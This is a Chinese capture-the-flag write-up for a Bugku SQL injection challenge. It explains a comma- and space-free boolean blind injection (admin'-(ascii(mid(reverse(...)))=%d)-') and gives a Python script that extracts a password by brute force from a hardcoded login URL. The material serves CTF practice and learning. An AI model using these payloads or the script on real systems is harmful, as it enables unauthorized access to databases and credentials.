bugku-sql注入2 (附详细代码)

构造select * from * where uname = $_POST[uname]
uname=admin’-’
bugku-sql注入2 (附详细代码)_第1张图片
bugku-sql注入2 (附详细代码)_第2张图片
bugku-sql注入2 (附详细代码)_第3张图片

bugku-sql注入2 (附详细代码)_第4张图片
bugku-sql注入2 (附详细代码)_第5张图片
此时uname=-1,不行
bugku-sql注入2 (附详细代码)_第6张图片

$sql = select * from users where username=$username;
在字符串username的值和数字0比较的时候,字符串变为了0
故此0=0

payload:admin’-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-‘

此块代码为引用!!!!!!

成功闭合了单引号

下面我们就尝试构造跟下面类似的语句

ascii(substr((select database()),1,1))>-1

ascii(mid(passwd,1,1))=%d

把这个语句放在0和1的位置就可以取出数据

但是这里逗号和空格都不能用,那么substr就用不了,但是我们可以使用mid(),比如

passwd=abc123

那我们可以用以下方式来取出想要的数据

mid((passwd)from(-1)) ->3

mid((passwd)from(-2)) ->23

mid((passwd)from(-3)) ->123

倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样

先倒叙取出几位

mid((passwd)from(-%d))

反转

reverse(mid((passwd)from(-%d)))

取最后一位

mid(reverse(mid((passwd)from(-%d)))from(-1))

比较ascii值

ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))= %d

测试一下发现

当表达式为真时,返回的是username error!!


当表达式为假时,返回的是password error!!


因此我们就可以利用这个特点进行盲注

bugku-sql注入2 (附详细代码)_第7张图片

bugku-sql注入2 (附详细代码)_第8张图片

# -*-coding:utf-8-*-
# author : wen
# flag:wen{b7bb30b3435f2e7c418b131f9e789f81}

import requests

url = 'http://123.206.87.240:8007/web2/login.php'
payload = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'

flag = ''

for i in range(1,40):
	for p in range(32,126):
		#url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)
		sqlstr = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" %(i,p)
		username ="admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" 
		data = {
				'uname':sqlstr,
				'passwd':'123456'
				}
		html = requests.post(url,data=data).text
		if 'username' in html:
			print i
			flag += chr(p)
			print flag
print "=================================>"
print "\n" + flag
			

bugku-sql注入2 (附详细代码)_第9张图片

你可能感兴趣的:(CTF,SQL注入,PHP)